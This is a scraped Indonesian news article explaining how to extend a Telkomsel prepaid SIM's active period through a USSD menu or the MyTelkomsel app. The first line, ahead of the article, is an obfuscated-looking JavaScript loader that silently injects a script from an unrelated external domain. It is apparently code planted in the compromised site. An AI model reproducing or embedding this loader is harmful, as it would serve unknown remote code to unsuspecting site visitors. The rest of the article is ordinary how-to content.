(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Cara Perpanjang Masa Aktif Telkomsel yang Mudah dan Praktis


KANALKALIMANTAN.COM – Umumnya, setiap sim card prabayar memiliki masa aktif, seperti Telkomsel. Lantas, bagaimana cara perpanjang masa aktif Telkomsel? Berikut ini penjelesanya.

Jika masa aktif berakhir, maka secara otomatis pulsa maupun paket internet yang terdapat dalam kartu SIM akan hangus.
Jika sudah hangus, pelanggan tidak lagi bisa menggunakan sim card tersebut, seperti menerima atau mengirim, melakukan menerima atau melakukan panggilan telepon, dan layanan internet.

Oleh karena itu, pelanggan wajib untuk perpanjang sim card agar tetap bisa menikmati berbagai layanan seperti yang sudah disebutkan di atas
Biasanya, untuk perpanjang masa aktif sim card perlu mengisi pulsa atau beli paket masa aktif. Nah, berikut ini cara perpanjang masa aktif Telkomsel.

Baca juga: Ini Kronologi Insiden Peserta Pameran Reptil Digigit Ular di Q Mall Banjarbaru

 

 

1. Perpanjang Masa Aktif Telkomsel via kode USSD

Bagi pelanggan prabayar untuk kartu Telkomsel, seperti Kartu AS, Simpati, dan Loop, perpanjang masa aktif tanpa isi pulsa dapat menggunakan kode USSD. Adapun caranya seperti berikut ini.
• Tekan kode USSD *999# pada menu dial telepon
• Pilih nomor 5 “Lainnya”
• Lalu, klik nomor 6 “Lainnya”
• Setelah itu, pilih nomor 7 “Lainnya”
• Selanjutnya Pilih nomor 8 “Layanan Lain”
• Langkah terakhir, klik nomor 3 “Paket Masa Aktif”
• Berikutnya akan muncul beberapa pilihan paket perpanjang masa aktif, dari 7 hari sampai 90 hari dengan harga Rp5.000 hingga Rp30.000
• Pengguna bisa pilih paket sesuai kebutuhan, lalu tekan ‘send’, paket perpanjangan akan aktif jika sudah mendapat notifikasi melalui SMS

2. Perpanjangan masa aktif dengan beli pulsa melalui aplikasi MyTelkomsel

Perpanjangan masa aktif juga bisa dengan beli pulsa atau isi ulang melalui aplikasi MyTelkomsel. Terdapat sejumlah paket isi ulang dengan masa aktif berbeda-beda tergantung nominal pulsa.

Adapun nominal pulsa mulai dari Rp 10.000 sampai Rp 1 juta dengan masa aktif mencapai 330 hari. Adapun cara isi ulang pulsa untuk perpanjang masa aktif melalui aplikasi MyTelkomsel yakni sebagai berikut.
• Buka aplikasi MyTelkomsel
• Klik menu ‘shop’ (ikon troli) pada bagian tengah bawah
• Lalu, pilih ‘Top Up’ di pojok kiri atas
• Pilih varian paket isi ulang pulsa dan masa aktif
• Lakukan pembayaran pada opsi ‘Payment Method’
• Ada sejumlah pilihan metode pembayaran yaitu GoPay, Ovo, LinkAja, ShopeePay, dan Dana
• Langkah terakhir, klik tombol ‘Pay’ untuk proses pembayaran

Baca juga: Coffe Morning DPRD Banjarbaru Bersama Wali Kota-Wawali

Demikianlah informasi mengenai cara perpanjangan masa aktif Telkomsel dengan cara menggunakan kode USSD dan aplikasi MyTelkomsel. (Suara.com)

Editor : kk


Al Ghifari

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

6 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

8 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

10 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

18 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

19 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

20 jam ago

This website uses cookies.